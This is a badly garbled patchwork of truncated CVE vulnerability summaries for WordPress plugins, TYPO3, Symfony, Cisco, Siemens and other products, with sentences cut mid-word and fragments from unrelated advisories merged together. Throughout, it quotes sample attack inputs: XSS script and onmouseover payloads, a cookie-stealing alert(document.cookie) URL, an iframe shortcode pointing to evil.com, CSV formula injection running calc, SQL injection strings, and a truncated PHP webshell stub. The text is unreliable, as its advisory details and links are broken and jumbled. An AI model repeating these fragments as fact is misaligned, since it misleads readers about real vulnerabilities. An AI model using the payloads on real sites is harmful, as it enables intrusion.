In this example, the 'Location' header is being set directly from user input, which can lead to a redirect to a malicious site.
```

In this context, malicious scripts could be executed in the context of the user's session.

enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2023-318-01.pdf.

lues. When another user accesses a web page where these injected scripts are rendered without proper validation, it can lead to a vulnerability.

ed to resemble images, could bypass mime type validation rules. This issue could occur in front-end frameworks like Angular or React. Since the vulnerability allows these files to bypass mime type validation rules, attackers could then exploit this vulnerability.

zed access, data theft, website defacement, or further exploitation of the website's underlying infrastructure. A detailed analysis of this issue can be found in the security advisory published by Statamic at <https://github.com/statamic/cms/security/advisories/GHSA-6c0ad2411> and in the security advisory published by Statamic at <https://github.com/statamic/cms/security/advisories/GHSA-xx9p-1>, which are designed to create and manage website content.

ning sockets with incorrect interpretations of data stream.

the Content-Length header instead. Meanwhile, aiohttp uses the backend processes the Transfer-Encoding header.

ind the aiohttp security advisory '<https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xx9p-1>'.

uding 3.12. It is categorized as an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability, which

on and then executed in the browser of users who view the affected page or feature in the future. Storing

any other input mechanism that does not properly sanitize input before storing it. When other users are able to

unauthenticated-cross-site-scripting-xss-vulnerability?_s_id=cve.

Login. This script could be stored and then executed when another user, such as an administrator, views the page.

host system.

data'];\$object = unserialize(\$userData); // Perform operations on the \$object```

In this case, if an attacker is able to control the \$userData variable, they could perform operations on the \$object, leading to a full system compromise, depending on the permissions of the server environment and the rights of the user.

<https://owasp.org/www-community/vulnerabilities/ft/yii/security/advisories/GHSA-mw2w-2hj2-fg8q->

ng additional authentication. This could potentially allow unauthorized access to the second site using is implied that preceding versions of these branches before these releases may be vulnerable.

ntain the necessary patches to address the vulnerability. There are no known workarounds for this vul in unauthorized access to a second site (e.g., second.example.com) within the same TYPO3 installation of the issue suggests that it involves inadequate session isolation between the sites hosted on the sam <https://github.com/TYPO3/typo3/security/advisories/GHSA-3vmm-7h4j-69rm> 3. <https://typo3.org/secu>

d manage websites of various sizes. TYPO3 comes with a wide range of features such as backend and i ons, but does not affect 'classic' non-composer installations.

ould be something like '/var/www/html/var/transient/'.

at the unintended disclosure of the transient data directory's full path.

erver's directory structure can help an attacker craft more targeted file traversal attacks, potentially g; ed0d80c738caa8967dea4232. The security advisory on TYPO3's GitHub: <https://github.com/TYPO3/ty> processing instructions, allowing attackers to bypass the cross-site scripting (XSS) mechanism of the ty this issue, so updating the affected component is crucial.

.4 of the typo3/html-sanitizer component. Users of TYPO3 using earlier versions of this component are verability.

17251d968c49dc77f8c1e5912e2fbe0dff- The GitHub security advisory for TYPO3: <https://github.com/1> ionent. This payload could be submitted through user input, such as in a comment or form, and once p sified as a stored cross-site scripting (XSS) vulnerability that can be exploited by a low privileged attack) EBX: versions 5.0.0 and below.

: malicious code is retained by the system and can affect users who later view the compromised conte i .

, including those with higher privileges, view the affected content, the malicious script executes within / a permissive cross-domain policy that allows untrusted domains to potentially execute privileged act

for further information on mitigation steps and security updates.

would send a specially crafted request to the vulnerable server, which might include scripts or comman bility databases that might have updated scoring details.

is vulnerability affects versions 7.2.0 through 7.2.4, 7.0.0 through 7.0.6, and any versions before 6.4.8. ty.

: being restricted by any mechanism that limits the number of failed login attempts, potentially leading

This would involve an attacker using a script or tool to attempt logging in with different username and password combinations to automatically guess usernames and passwords (brute force attack) against the login page without being limited by the details of the vulnerability and the impact as described in the advisory for a qualitative understanding of the issue. CWE-285, which allows an authenticated attacker to view and modify the token.

This could lead to data breaches and unauthorized alterations of user information within the FortiMail system.

This is a security risk.

The attack does not require complex code – the request might simply involve a regular HTTP request with modified parameters. The issue is a logic flaw in the FortiMail webmail system. The attacker would alter parameters in the request to access sensitive data, but in this case, it might not have been calculated or published at the time of reporting.

This could allow an adjacent, unauthenticated attacker to create a privileged token and upload unauthorized documents.

This is a security risk. To bypass user authentication mechanisms in the PUD Manager web service, generate a privileged token, the issue. Usually, the proprietary nature of such systems means that specific technical details or code samples and security advisories for updates and patches that address identified vulnerabilities.

This is a security risk. By performing certain configuration changes through the web interface. An authenticated attacker can exploit a vulnerability in the RUGGEDCOM RM1224, SCALANCE M812-1, M816-1, M826-2, M874-2, M874-3, M876-3 device. This is due to improper validation of the input length, the device could be overwhelmed, leading to a denial of service. This makes it impossible for the user to manage or monitor the device remotely through the web interface until it is physically restored.

This is a security risk. The URL 'https://cert-portal.siemens.com/productcert/pdf/ssa-180704.pdf' and 'https://cert-portal.siemens.com/productcert/pdf/ssa-699386.pdf'.

This is a security risk. By not requiring authentication when performing modifications in the web interface, enabling an authenticated attack on the device. This applies to SCALANCE XB series switches, SCALANCE XC series switches, SCALANCE XF series, SCALANCE XP series switches.

This is a security risk. The issue arises due to the system's failure to correctly validate authentication tokens that exploit the vulnerability, which arises due to the system's failure to correctly validate authentication tokens.

This is a security risk. By reviewing the advisories linked in the references and applying any possible security updates or following recommendations. The issue is a logic error in the web interface in a way that hides important alerts or misleads legitimate users, potentially causing operators to interact with asset components with the 'templateFileDestination' parameter, which can be exploited to set an arbitrary file path. By doing so, attackers can execute arbitrary PHP code on the server, which can lead to unauthorized data disclosure or deletion. This makes it possible for an attacker to specify a path that leads to sensitive areas of the web server's file system. For instance, an attacker could use the 'templateFileDestination' parameter to write files to the root directory of the web server.

This is a security risk. The issue arises due to insufficient input sanitization and output encoding. When a user enters a URL containing a malicious script, the script will be executed in the user's browser context, potentially leading to stolen session cookies, active sessions or permissions relevant to the content the script intends to interact with for the attack.

ion tokens, defacing web pages, performing actions on behalf of users, and embedding malicious content. The vulnerability occurs due to a lack of proper sanitization when referencing the WordPress plugin's changeset. Users of the plugin should update to the version that includes the fix for this vulnerability.

contain examples of how the vulnerability can be exploited. Those interested in technical details or a p

0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

The vulnerability allows for Stored XSS, where the attacker could inject malicious scripts into the web page submitted using JavaScript when a user visits a malicious page, without the user's consent, and change the behavior of the application to inject arbitrary web scripts into pages by abusing insufficient input sanitization and output encoding.

due to insufficient input sanitization and output escaping. Once injected, these scripts can execute whatever you want them to.

<https://plugins.trac.wordpress.org/browser/powr-pack/trunk/src/pack.php?rev=2821707#L201> 3. When other users or site visitors view the page with the malicious shortcode, the embedded script executes with least privilege by only granting contributor-level access to trusted users. Regular audits of user roles and permissions are recommended to prevent such vulnerabilities. [code]

```
onmouseover='alert("XSS")' fakeattribute='`'] When a user hovers over the element containing this shortcode, it triggers an alert box with the message "XSS". This exploit is present in all versions up to and including 2023.8. It arises from insufficient input sanitization and output escaping.
```

nts into the pages through the 'advanced_iframe' shortcode attributes which are not properly sanitized. This could lead to compromised user sessions, data theft, site defacement, or redirection to malicious sites.

es are:- <https://plugins.trac.wordpress.org/browser/advanced-iframe/trunk/includes/advanced-iframe.php>
ess post or page a shortcode such as: [advanced_iframe securitykey="your_security_key" src="http://evil.com"]
or malware sites, or perform actions on behalf of the user without their knowledge. Since the attack re-
visions up to and including 4.34.0.

nauthorized actions on behalf of a legitimate user. This could further result in Local File Inclusion, whe

Web Push Notifications plugin is installed. Without the user's knowledge, the request executes with the intended functionality could lead to credential disclosure within a session that is considered to be

web interface. For example, an attacker could submit a form within the application with a script such

Id be properly sanitized and validated to prevent script injection, and Content Security Policy (CSP) header https://exchange.xforce.ibmcloud.com/vulnerabilities/260821 respectively.

vulnerabilities allow attackers to induce users to perform actions that they do not intend to, such as su

ugin-2-5-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve.

ion process where the plugin fails to verify the user's intent to submit the form. Typically, a CSRF attack
st to the vulnerable plugin's function without the user's consent when they have an active session with
n up to and including 1.0.15.

· unauthorized actions on that website by submitting requests through the victim's browser that appear

15-cross-site-request-forgery-csrf-vulnerability?_s_id=cve.

·m, such as changing settings or posting content. This form would be crafted so that when a victim with

Inerability that affects all versions of the plugin up to and including 3.1.4.

ross-site-request-forgery-csrf-vulnerability?_s_id=cve.

r has released a fix, apply the update as soon as possible. If no fix is available, consider disabling or ren
ious code. The action would be carried out with the administrator's credentials without their knowledg

uld alter the intended functionality of the application and potentially lead to the disclosure of credent

7070736

iing sites, or steal session cookies and other sensitive information from the users' browser sessions. Th
logged into their QRadar session, the JavaScript could execute within the context of their browser sess
eating a specially crafted URL or form input that includes a JavaScript payload like: <script>alert('XSS')

ies such as cross-site scripting (XSS).

proper input from being rendered on the client side.

github.com/symfony/symfony/security/advisories/GHSA-72x2-5c85-6wmr

n affected by the vulnerability, the unescaped input could be reflected in an error message and execut
d the `is_safe=html` attribute without actually ensuring that the input is safe. This could potentially all
5.3.8 include the necessary fixes for this vulnerability.

?b16450284a04d6bb48d1198f54 and <https://github.com/symfony/symfony/commit/9da9a145ce57e2>
content of a web application, which are then executed in the browser of unsuspecting users. These scrip
the previously unsafe Twig filters. Developers and site administrators should ensure that their Symfon

ie.

is a variable that contains user-provided data. The `raw` filter tells Twig not to escape the output, and if the session ID if the user identifier changes, which could lead to session fixation attacks in cases where the

victim and the type of the token before deciding whether the session ID should be regenerated. This reduces social engineering or other means). If the victim logs in and the application doesn't regenerate the session ID, the attacker can steal the user's session. Another related commit in the Symfony Github

D.

.DRUID website at <https://www.hoteldruid.com/>. Additionally, details about downloading HOTELDRUID to the user's browser session. This script could steal cookies, sessions tokens, or sensitive information from

es a file to the Tomcat webroot. This vulnerability was actively exploited in November 2023.

outside of the restricted location. In this case, it led to remote code execution.

attackers could potentially gain unauthorized access to the system, run arbitrary code, or take control of the affected host. Details about the update and security enhancements can be found in the provided references from the vendor and into areas that contain executable code. For instance, they could upload a malicious JSP file into the Tomcat webroot, change the permissions of the Tomcat service, and the presence of other mitigating factors like firewalls and network segmentation. It is recommended to always use the latest patched version of SysAid On-Premise software and the security enhancements made to mitigate this vulnerability.

[https://cve.mitre.org/cve/cve-2023-34394.html](#) and [https://cve.mitre.org/cve/cve-2023-34395.html](#).

participants Database plugin without the user's consent. If an admin user visits the attacker's page or clicks a link, the plugin will automatically log in the user and check in the plugin code to prevent future CSRF attacks. Regularly reviewing and applying security patches to the plugin is essential to protect against such attacks.

If an attacker successfully exploit this vulnerability, they could gain control of a logged-in user without their consent, potentially leading to changes in settings or the manipulation of data stored in the database.

[https://cve.mitre.org/cve/cve-2023-34396.html](#) and [https://cve.mitre.org/cve/cve-2023-34397.html](#).

pixel-adaptive-images-webp-avif-cdn-image-optimization-plugin-3-7-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve. This vulnerability is due to a lack of proper CSRF protection in the pixel-adaptive-images plugin. If an administrator visits a page containing a forged request, the plugin will automatically log in the user and perform actions on their behalf. It is recommended to always use the latest patched version of the plugin and apply security patches to the affected host.

Attackers can exploit this weakness to perform actions on behalf of authenticated users without their consent.

The calculated score has not been fully compiled yet.

sors-plugin-3-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve.
change settings or data within the application without the user's knowledge or consent. The attacker c
ne of the vulnerability report would be 3.2 or higher. WordPress site administrators should also review

r outside of the Moodle webroot could exploit a local file include vulnerability to execute code remote
include and execute a local file from another user's directory, potentially leading to remote code exec

mmit&s=MDL-72249- A Bugzilla entry at Red Hat: https://bugzilla.redhat.com/show_bug.cgi?id=2243
on in the shared hosting environment. They could navigate to other users' directories and use a script
HTTP request that includes a reference to the vulnerable script with a parameter that points to a file th

ey do not have management capabilities. This could potentially lead to unauthorized access or manipu

730.

1- Moodle Forum Discussion: <https://moodle.org/mod/forum/discuss.php?d=451590>
tacker could exploit the insufficient capability checks to move the manageable categories under a par

for-sakura/wordpress-ts-webfonts-for-plugin-3-1-0-cross-site-request-forgery-csrf-vulnerability?_s_id
er's consent. This could allow the attacker to manipulate plugin settings or perform actions that the plu

Inerability?_s_id=cve.

l or visiting a compromised website. This could lead to unauthorized changes or data submissions thr
e in a website the user visits. When clicked, the link executes an action using the victim's session withc

regulations in code. The vulnerability arises due to no validation of input from connected systems and
2) A malicious user with access to connected systems or data stores could inject harmful content that g

ownloadable data provided to data subjects as part of their personal data access request.

ation, executing malicious JavaScript which could lead to data theft, browser exploitation, or other har
cluded in Fides release tagged 2.23.3 which you can also find on GitHub.

data obtained from a connected system might include: `<script>alert('Malicious code executed!');</scr
ibility to prevent potential exploitations.

that is viewed using the 'file://' protocol. Users should ensure they are using the patched version of Fi

d a back-office user to manipulate an HTTP request to specify any file path, instead of an image, which would replace the expected image path with the path to a critical system file, such as 'index.php'. Upon de

ruption, website downtime, or in severe cases the entire site going offline if essential files such as 'index.php' are deleted from this vulnerability.

d0e97bebf795690caff3c1ab23a9bf43fcdfa- https://github.com/PrestaShop/blockreassurance/com

owing URL:- https://github.com/PrestaShop/blockreassurance/security/advisories/GHSA-83j2-qhx2-p7

ntially exploit heap corruption by tricking a user into opening a crafted HTML page. The severity of this

gle Chrome. When a user visits the crafted page, the flaw could be triggered, potentially leading to he

-update-for-desktop.html', the Chromium bug tracker at 'https://crbug.com/1497859', Fedora package

ing System (CVSS) or the details provided by the organization that has disclosed the CVE.

use after free' error. This can lead to unauthorized execution of code, data corruption, or even full con

r. It's also advisable to regularly update software, avoid clicking on unknown links or visiting untrusted

s with admin or higher privileges to inject malicious scripts that are stored and later executed in a victi

-plugin-1-5-4-6-cross-site-scripting-xss-vulnerability?_s_id=cve

ugin's settings or content areas. When other users, including site visitors or lower-privileged site admin

ould likely include more complex code designed to steal cookies, capture keystrokes, or perform other

uires administrative level privileges or higher to exploit.

:cross-site-scripting-xss-vulnerability?_s_id=cve.

hen other users, such as site visitors or other administrators, view these compromised sections, the m

iipulate web pages for the affected users, and possibly gain unauthorized access to sensitive areas of t

application's integrity, confidentiality, and availability.

utes. This could involve modifying the PHP file or making HTTP requests that include PHP code, depending on any input that is processed by 'admin/categories/trans.php' to prevent code execution. Versions of the plugin up to and including 0.8.1. The exploit arises due to insufficient input sanitization and allows users to inject arbitrary web scripts or HTML into the settings fields, which are not properly sanitized by the plugin. When other users have the 'Super Admin' role in single-site installations and 'Super Admin' users in multi-site installations have the unfiltered

sion hijacking, defacement of websites, phishing attacks to steal credentials, or redirecting users to malicious sites, users should follow WordPress security best practices such as maintaining least privilege access control.

itting a request that facilitates XSS. By chaining these vulnerabilities, the attack surface and potential impact can be significantly expanded.

[Comments-import-export-plugin-2-3-1-csv-injection?_s_id=cve](#)

might inject a formula like '=cmd|' /C calc'!A1' into a CSV, which when opened and enabled in a program like Microsoft Excel will execute the command. This vulnerability is particularly dangerous if it occurs during a product review export.

This could be due to various reasons including insufficient data or an ongoing assessment process.

[-woocommerce/wordpress-product-reviews-import-export-for-woocommerce-plugin-1-4-8-unauth-cve](#)

In this case, the plugin has a vulnerability where user-supplied attributes are not properly sanitized or escaped before being used in a shortcode. An attacker could include a formula such as '=CMD|'calc'!A1' in a spreadsheet application. For example, an attacker could include a formula such as '=CMD|'calc'!A1'. This leads to insufficient input sanitization and output escaping on user-supplied attributes in the plugin's 'giftup' shortcode attributes. Since the plugin does not adequately sanitize or escape the user inputs, the malicious code will be executed, potentially gaining control of the affected WordPress site if combined with other vulnerabilities.

['/plugins.trac.wordpress.org/browser/gift-up/tags/2.20.1/view/giftup-checkout.php#L483. https://plugins.trac.wordpress.org/browser/gift-up/tags/2.20.1/view/giftup-checkout.php#L483.](#)

//</script>']This shortcode, when processed by the vulnerable plugin's files, could lead to the execution of arbitrary JavaScript code.

This is due to insufficient input sanitization and output escaping on user-supplied attributes, allowing authenticated attackers to inject arbitrary web scripts.

o plugin.

[e in MetaBox.php function save_post_meta\(\\$post_id \) { if \(isset\(\\$_POST\['featured_image_caption'\] \) \)](#)

For example, the attacker might submit a post with a crafted shortcode that includes malicious JavaScript code like '[socialfeed attr="<script>malicious_code()</script>"]'. Changes related to the resolution of this issue include improved input and output escaping. It affects all versions of the plugin up to and including 1.5.4.6.

and escape the input supplied by users in attributes, allowing attackers to inject malicious scripts. In posts, where they can include the malicious 'socialfeed' shortcode that leads to XSS attacks. Unauthorized actions being performed on behalf of the user, unauthorized access to sensitive information, and potential data loss.

Developers or the WordPress plugin repository for information on patches or updated versions addressing this issue. For example: ``'[socialfeed attr="<script>malicious_code()</script>"]'`` is mentioned in the provided references. Reference URLs:- [https://plugins.trac.wordpress.org/browser/add-fac](#)

This is due to insufficient input sanitization and output escaping on user-supplied attributes. It affects all versions up to and including 1.5.4.6.

Unauthorized actions being taken on behalf of the user or sensitive information being exposed.

ence Vulnerability Database.

hple, they could add `<script>alert('XSS');</script>` to a page via a shortcode attribute. When other use ch is not yet available, users should consider deactivating the plugin until a fix is provided and apply se oe executed in the browsers of any users who view the compromised page or content, which can lead nteract-quiz' shortcode due to inadequate input sanitization and output escaping. Attackers with cont

ese scripts can then be executed by any user who visits a page containing the injected code.

lert('XSS');</script>]</interact-quiz>When a user visits this page, the script will execute, resulting in a s nmpact severity depends on the nature of the payload and the context of the exploited site.

[Wordfence's vuln](https://wordpress.org/browser/interact-quiz-embed/tags/3.0.7/interact-quiz-embed.php#L53)

upplied attributes.

ed actions being performed on behalf of the user or data theft.

2#L238 and <https://www.wordfence.com/threat-intel/vulnerabilities/id/31522e54-f260-46d0-8d57-21> avaScript: `[wpbitly url="http://example.com" onmouseover="alert('XSS')"]`. This input is not properly codetag' shortcode due to inadequate input sanitization and output escaping, which can let authenticated malicious scripts into pages using the 'qrcodetag' shortcode. This injected script will execute whenever a

cripts via the 'qrcodetag' shortcode.

ad that is not properly sanitized or escaped. When another user, including site administrators, views th

?rev=1705525#L369' or security advisories provided by security organizations such as Wordfence at '<https://www.wordfence.com/threat-intel/vulnerabilities/id/31522e54-f260-46d0-8d57-21>

he 'sfp-page-plugin' shortcode, which allows authenticated attackers with at least contributor-level pe

ce website.

ers who then visit the page would be subjected to the executed script, potentially leading to stolen se: executed when a user accesses the page, showing an alert box, indicating a successful XSS attack.

attributes in the 'social_warfare' shortcode, allowing authenticated attackers with contributor-level pe

as stealing session cookies, account takeover, redirecting users to malicious sites, or performing actio

e references: - <https://plugins.trac.wordpress.org/browser/social-warfare/tags/4.4.1/lib/buttons-pane>
er, such as an administrator, previews or publishes the submitted content, the embedded JavaScript w

stems from insufficient input sanitization and output escaping on user-supplied attributes within the p
These scripts execute whenever a user accesses an injected page, potentially compromising the webs
ode like [telnumlink attribute=""] into a post or a page. Due to the plugin

<https://plugins.trac.wordpress.org/browser/telephone-number-linker/tags/1.2/telnumlinker.php#L36>- http
hen a visitor views the content, potentially leading to actions such as cookie theft, session hijacking, de
; 2.7.1 of the plugin due to inadequate input sanitization and output escaping of user-supplied attribut
Due to the lack of sufficient input sanitization and output escaping, these scripts can be saved with the
s authors or administrators, could also exploit this vulnerability.

https://wp-mapit.org/browser/wp-mapit/tags/2.7.1/wp_mapit/classes/class.wp_mapit_map.php#L235, and a d
re details about the vulnerability and its impact become known.

If no update is available or the plugin is no longer maintained, administrators should consider disabling
including 1.2.6. The vulnerability stems from improper input sanitization and output escaping of user-s
ecting arbitrary web scripts into the attributes of this shortcode. These scripts can persist in the web ap

emap' shortcode and inject malicious scripts.

the website, redirect users to malicious sites, or perform actions on behalf of users without their cor
<https://wp-mapper/tags/1.2.6/imagemapper.php#L402>', or security advisories like those provided by Wordfence

which is used by the plugin. Versions up to, and including, 2.9.9 are affected due to inadequate input sa
board' shortcode. When a user accesses a page containing the malicious script, the script will execute in

ie vulnerability. If no such update has been released, it is recommended to disable the plugin until a fi
n a user visits a page containing this shortcode, the script within would execute, displaying an alert box
lugin. Next, they could create or edit a page or post and include a malicious XSS payload within the 'zi

rd-online-whiteboard, and at Wordfence's threat intelligence vulnerability database at <https://www.w>

e Veeam ONE Reporting Service.

at exploiting the vulnerability is not straightforward and requires specific conditions to be met.

ient handles service authentication and obtain the NTLM hash of the Veeam ONE Reporting Service ac
sh. Code examples for such vulnerabilities would depend on the specific implementation details of the
rivileged user who has access to the Veeam ONE Web Client to acquire the NTLM hash of the account i

this could lead to unauthorized access to sensitive data or systems. It could also be a stepping stone for an attacker to gain access to the system. Veeam has released a knowledge base article at www.veeam.com/kb4508. Users are recommended to review this resource and implement the necessary steps to mitigate this vulnerability. This includes changing the NTLM hash of the account used by the Veeam ONE Reporting Service. With this change, the service will no longer be able to log in to the system using the old password.

available for this particular vulnerability at this time.

erstand the vulnerability and its impacts. The organization should then assess their systems to determine

·ized access and download of private files.

figuration issue, the attacker can navigate to the directories used by the plugin to store attachments and

configuration. This could result in the string being potentially truncated if a NULL character is encountered.

[ts/ics-advisories/icsa-23-306-01](#).

issue. Consequently, the attacker might attempt to access the device using this simpler password. An e included, potentially leading to truncated passwords if a NULL character is encountered, which can v

<https://github.com/squid-cache/squid/security/advisories/GHSA-cg5h-v6vc-w33f-> <https://security.netw>
oss site scripting (XSS) vulnerability that could allow attackers to inject malicious JavaScript code into 1
version as soon as possible.

ble for version 0.6.9 (0.6.9-1) to remedy the vulnerability for users who cannot upgrade to the latest version. The package can be installed from the [deb.debian.org](#) mirror using the command:

Stealing session cookies, defacing web pages, or performing actions on behalf of users without their knowledge.

. For example: HTML:<form> <input type='text' name='search' value='Search query here....'></form>Se
nstance through a phishing email or a post on social media. Once the link is clicked, the malicious scrip

ress-original-texts-yandex-webmaster-plugin-1-18-cross-site-request-forgery-csrf-vulnerability?_s_id= WordPress site, submits an unauthorized request on the admin's behalf. This request could potentially p

Education & Learning Management plugin by Weblizar. SQL Injection allows an attacker to manipulate th

ress-the-school-management-plugin-4-1-sql-injection?_s_id=cve

rnname` or `password` on a web application. They might input something like `` OR '1'='1` into the user
elete records, or even gain administrative access to the web application. The impact varies depending on
on Vulnerability Scoring System (CVSS) rating, which helps in assessing the impact of vulnerabilities.

nd in the Weblizar Coming Soon Page – Responsive Coming Soon & Maintenance Mode plugin for Wo

dpress-coming-soon-page-plugin-1-5-8-sql-injection-sqli-vulnerability?_s_id=cve.

ally vulnerable code\$result = mysqli_query(\$connection, \$sql);``In this example, the '\$id' parameter is
otentially read sensitive data, modify or delete data, execute administrative operations, or even contr
oles' Web server function. This vulnerability allows a remote unauthenticated attacker to cause a denia
ct of the attack persists as long as the attacker continues to make these unauthorized login attempts, i

?U modules. By continuously sending login requests with incorrect credentials, the attacker can trigger
ergency Response Team (ICS-CERT) advisories, and a Mitsubishi Electric PSIRT advisory. The specific re
d components should be restricted by using firewalls and limiting access only to authorized personnel.
ase score has not been assigned or made available in the provided information.

before 3.3.0-16 of PKP-WAL do not adequately verify that a file specified in an XML document for the r

Since the system does not verify the file type properly before using it as an issue cover image, this cou
e-Code-Execution.html, the Full Disclosure mailing list at <http://seclists.org/fulldisclosure/2023/Dec/2>
strators of systems using Open Journal Systems (OJS) or other products relying on PKP-WAL to perform
er sanitization of the 'current_group_id' parameter, allowing attackers to inject malicious scripts.
scripts in the context of the user's browser session, which may lead to compromise of sensitive inform
ty.

he script. This could result in actions such as stealing session cookies, redirecting the user to malicious
urity best practices such as input validation, output encoding, and use of security-focused plugins can
risk/trunk/modules/society/controller/group.controller.01.php and a detailed vulnerability report fro

ity of a vulnerability.

3Ealert(document.cookie)%3C/script%3E'. If a user clicks on this URL, the script within the 'current_grc

=<script>alert("XSS");</script>]. This code would be improperly sanitized and could be executed whe
t contains proper input sanitization and output escaping.

#L68- <https://plugins.trac.wordpress.org/browser/seo-slider/trunk/includes/shortcode.php?rev=2367>

ers who view those pages. In the context of CVE-2023-5707, the SEO Slider plugin for WordPress is vulnerable using the SEO Slider plugin. When other users or admins visit these pages, the scripts can execute, potentially an SQL Injection vulnerability. This vulnerability is found in the Web-X Be POPIA Compliant WordPress

injection?_s_id=cve

se queries. By injecting malicious SQL code, the attacker could potentially read sensitive data from the zed before being included in an SQL command, an attacker could submit a payload like ' OR '1'='1' -- , no ecific URL parameter, potentially leading to the execution of a PHP file on the server and the deployment neter to force the server to load local PHP files. This can be done by sending a malformed URL that inc tentially upload a webshell, giving them persistent access to the server environment, which could be u ght against this vulnerability.

to the detailed description and potential impact of the vulnerability.

[ibe-cert/notices/aviso/multiple-vulnerabilities-wpn-xm-serverstack.](https://ibe-cert/notices/aviso/multiple-vulnerabilities-wpn-xm-serverstack/)

respond to legitimate files. Disable the script that processes the vulnerable parameter, or employ a w

n HTTP call.

st to an internal or external service. For example, the attacker might submit a request to `http://vulne` point to internal services that should not be directly accessible from the outside, such as databases, ad

ession.

and '<https://www.ibm.com/support/pages/node/7063663>'. Additionally, the IBM X-Force exchange c

link, the embedded script executes within their browser session, allowing the attacker to hijack user session. They should also conduct a security review of their web applications to ensure proper input validation.

allow an attacker to execute unauthorized actions by tricking a trusted user into submitting a request that

:change: <https://exchange.xforce.ibmcloud.com/vulnerabilities/266057>- IBM Support Page (Node 7063)

Ifard or TXSeries inadvertently interacts with this malicious content, the web application could process it. Users should refer to the IBM Support Pages linked in the references or contact IBM support for further assistance.

```
#: ````python@app.route('/change-password', methods=['POST'])def change_password(): new_password = request.form['new_password'] user_id = session['user_id'] user = User.query.get(user_id) user.password = generate_password_hash(new_password, method='pbkdf2:sha1', salt_length=16) db.session.commit() flash('Your password has been changed.', 'success') return redirect(url_for('index'))```
```

This vulnerability could allow attackers to authenticate to the application using their own JWTs that would be accepted by the application, granting unauthorized access as if they were a legitimate user.

```
sonwebtoken.SignatureAlgorithm; public class TokenManager { // Hardcoded key – vulnerability point  
their own JWTs, which would allow them to perform actions such as accessing confidential information,  
ing a secure way of handling cryptographic keys, such as not hardcoding them and rotating them regularly.  
p-cloud/issues/183 and an additional markdown document discussing the JWT issue at https://github.com/  
the file /dashboard/createblog, specifically on the Create Blog Page component. This issue allows for the CMS  
the CMS does not adequately check or restrict the types of files that can be uploaded, potentially allowing  
user, steal or manipulate data, deface the website, or pivot to attack other systems within the network.  
provides backdoor access to the server: ````php<?php// Hypothetical malicious file 'shell.php'if(isset($_  
'v=1698808954608These sources may include details like proof of concept, detailed analysis, and potential mitigations.
```

File upload functionality is not secured against unrestricted file uploads.
the vulnerability, and potential damage resulting from an exploit.
lution checks to ensure only files with safe extensions and content types can be uploaded.- Use server-

e access.
s, the attacker might execute the file through a web server request, potentially gaining unauthorized access and prevent the exploitation of this vulnerability through file uploads to these directories.

The specific links for this information are: <https://github.com/glpi-project/glpi/releases/tag/10.0.10> and <https://github.com/glpi-project/glpi/releases/tag/10.0.11>.

4.9.6 and occurs due to insufficient input sanitization and output escaping, enabling authenticated attacks to have administrator-level permissions to exploit the vulnerability.
lead to various malicious activities such as stealing cookies, session tokens, or other sensitive data, defacing the website, or launching a Denial of Service (DoS) attack.
Bot for WordPress plugin.
should also regularly update all plugins and WordPress core to their latest versions as a general security measure.
n and entering a malicious script, such as `<script>alert('XSS');</script>`, into a field that accepts user input.

These can be accessed at 'https://plugins.trac.wordpress.org/changeset?sf_email=&sfph_email=&ref=10.0.10' and 'https://plugins.trac.wordpress.org/changeset?sf_email=&sfph_email=&ref=10.0.11'.
website through the exploitation of the 'q' parameter in the admin.php resource using a crafted URL.
website to a malicious one, which can result in the theft of sensitive information or the delivery of malware.
ulnerability Scoring System (CVSS).

<https://projectworlds.in/> for additional resources.
d URL. This can happen through parameters like the 'q' parameter in admin.php that when manipulated, the user would be redirected from the online examination system's admin page to the attacker's specific page under the guise of clicking a link to a legitimate part of the examination system. The victims might then

ficate in a server certificate chain, performed by a remote server, to initiate a DoS attack against Squid.
loited by a remote server sending a malformed SSL certificate during a TLS handshake.

023_4.patch and http://www.squid-cache.org/Versions/v6/SQUID-2023_4.patch.

It's (Squid proxy) connection attempt using HTTPS or SSL-Bump. During the TLS handshake, the malformed or updates that resolve security vulnerabilities.

ty UI by using a crafted HTML page.

ntoo security advisory, and a Debian security advisory. URLs to these resources are included in the CV

modify the appearance of the browser's security indications. This could potentially mislead the user into intricate manipulation of HTML, CSS, or JavaScript to deceive the user interface of the browser. How use a denial of service (DoS) condition. This vulnerability stems from insufficient validation of HTTP requests to the Web Bridge, which could in turn lead to a DoS condition by causing ongoing video calls to be dropped. video calls being interrupted and dropped, disrupting the normal operation of the service.

a-cms-segfault-G6ES4Ve8 for detailed information and potential mitigation strategies.

nsufficient validation in the API to trigger a DoS condition. Due to the proprietary nature of Cisco's software, malicious HTTP requests containing crafted packets aimed at the Web Bridge API. Successful attacks can allow the attacker to execute arbitrary commands on the underlying operating system of the device. This is attack options within the device's web-based management GUI. This malicious input would then result in the device using the vulnerability to execute commands without needing the higher privilege level.

co Firepower Management Center (FMC) Software. This lack of validation enables an authenticated attacker to take full control of the device, leading to data theft.

ityAdvisory/cisco-sa-fmc-cmdinj-bTEgufOX.

th these credentials, the attacker logs into the web-based management interface and inputs crafted data. An authenticated, remote attacker to execute arbitrary commands on the underlying operating system. nent interface.

3.

ected device, including its underlying operating system.

ality, integrity, and availability of the system.

Vulnerability Scoring System (CVSS).

idinj-bTEgufOX.

ion fields, thereby gaining the ability to disrupt services or take control of the affected device's operating system. This vulnerability requires that the attacker has valid Administrator credentials on the affected device, the specially crafted file could bypass normal checks and be stored in specific directories of the device, allowing executing arbitrary code on the device with root privileges, which can lead to a full system compromise. The web-based management interface to upload a crafted file.

[sa-ise-file-upload-FceLP4xs](#)

ce. The attacker then uploads a malicious file that, due to the vulnerability, gets accepted and stored b

nauthorized configuration commands on a Firepower Threat Defense (FTD) device managed by the FV
te certain configuration commands on that device. A prerequisite for exploitation is that the attacker t
m the unauthorized actions.

s, including service disruption, unauthorized access or modification of network security settings, and p

iscoSecurityAdvisory/cisco-sa-fmc-cmd-inj-29MP49hN.

o service. The attacker would then send an HTTP request that contains unauthorized commands to cha
atch availability and recommended mitigation steps.

s could allow an unauthenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack
validated, which may allow the attacker to execute arbitrary script code in the context of the interface
on, session hijacking, or defacement of the web interface. In some cases, there could also be a tempor

cripting (XSS) attacks.

or disruptions in interface availability.

